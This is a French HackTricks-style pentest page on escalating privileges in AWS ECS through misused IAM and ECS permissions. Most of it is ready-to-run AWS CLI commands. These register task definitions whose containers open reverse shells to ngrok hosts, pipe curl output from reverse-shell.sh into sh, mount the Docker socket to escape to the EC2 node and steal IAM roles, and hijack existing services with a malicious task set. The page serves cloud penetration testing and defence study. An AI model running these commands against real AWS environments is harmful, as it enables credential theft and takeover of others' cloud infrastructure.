# AWS - ECS Privesc

{{#include ../../../banners/hacktricks-training.md}}

## ECS

Plus d'**informations sur ECS** dans :

{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

Un attaquant abusant des permissions `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les identifiants de métadonnées et **l'exécuter**.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Impact potentiel :** Privesc direct vers un rôle ECS différent.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les informations d'identification des métadonnées et **l'exécuter**.\
Cependant, dans ce cas, une instance de conteneur pour exécuter la définition de tâche malveillante doit être.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.

### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`

Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les informations d'identification des métadonnées et **l'exécuter en créant un nouveau service avec au moins 1 tâche en cours d'exécution.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.

### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

En fait, juste avec ces permissions, il est possible d'utiliser des remplacements pour exécuter des commandes arbitraires dans un conteneur avec un rôle arbitraire avec quelque chose comme :
```bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.

### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

Ce scénario est similaire aux précédents mais **sans** la permission **`iam:PassRole`**.\
C'est toujours intéressant car si vous pouvez exécuter un conteneur arbitraire, même sans rôle, vous pourriez **exécuter un conteneur privilégié pour échapper** au nœud et **voler le rôle IAM EC2** et les **autres rôles de conteneurs ECS** s'exécutant dans le nœud.\
Vous pourriez même **forcer d'autres tâches à s'exécuter à l'intérieur de l'instance EC2** que vous compromettez pour voler leurs identifiants (comme discuté dans la [**section Privesc vers le nœud**](aws-ecs-privesc.md#privesc-to-node)).

> [!WARNING]
> Cette attaque n'est possible que si le **cluster ECS utilise des instances EC2** et non Fargate.
```bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

Un attaquant avec les **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (vous avez besoin des permissions de description car il est nécessaire d'exécuter `aws ecs execute-command`).\
Cependant, pour ce faire, l'instance de conteneur doit exécuter l'**agent ExecuteCommand** (qui par défaut ne l'est pas).

Par conséquent, l'attaquant pourrait essayer de :

- **Essayer d'exécuter une commande** dans chaque conteneur en cours d'exécution
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- S'il a **`ecs:RunTask`**, exécutez une tâche avec `aws ecs run-task --enable-execute-command [...]`
- S'il a **`ecs:StartTask`**, exécutez une tâche avec `aws ecs start-task --enable-execute-command [...]`
- S'il a **`ecs:CreateService`**, créez un service avec `aws ecs create-service --enable-execute-command [...]`
- S'il a **`ecs:UpdateService`**, mettez à jour un service avec `aws ecs update-service --enable-execute-command [...]`

Vous pouvez trouver **des exemples de ces options** dans **les sections précédentes sur le privesc ECS**.

**Impact potentiel :** Privesc vers un rôle différent attaché aux conteneurs.

### `ssm:StartSession`

Vérifiez dans la **page de privesc ssm** comment vous pouvez abuser de cette permission pour **privesc vers ECS** :

{{#ref}}
aws-ssm-privesc.md
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

Vérifiez dans la **page de privesc ec2** comment vous pouvez abuser de ces permissions pour **privesc vers ECS** :

{{#ref}}
aws-ec2-privesc.md
{{#endref}}

### `?ecs:RegisterContainerInstance`

TODO : Est-il possible d'enregistrer une instance d'un autre compte AWS afin que les tâches soient exécutées sur des machines contrôlées par l'attaquant ??

### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

> [!NOTE]
> TODO : Tester cela

Un attaquant avec les permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, et `ecs:DescribeTaskSets` peut **créer un ensemble de tâches malveillant pour un service ECS existant et mettre à jour l'ensemble de tâches principal**. Cela permet à l'attaquant d'**exécuter du code arbitraire au sein du service**.
```bash
bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Impact potentiel** : Exécuter du code arbitraire dans le service affecté, ce qui pourrait impacter sa fonctionnalité ou exfiltrer des données sensibles.

## Références

- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)

{{#include ../../../banners/hacktricks-training.md}}
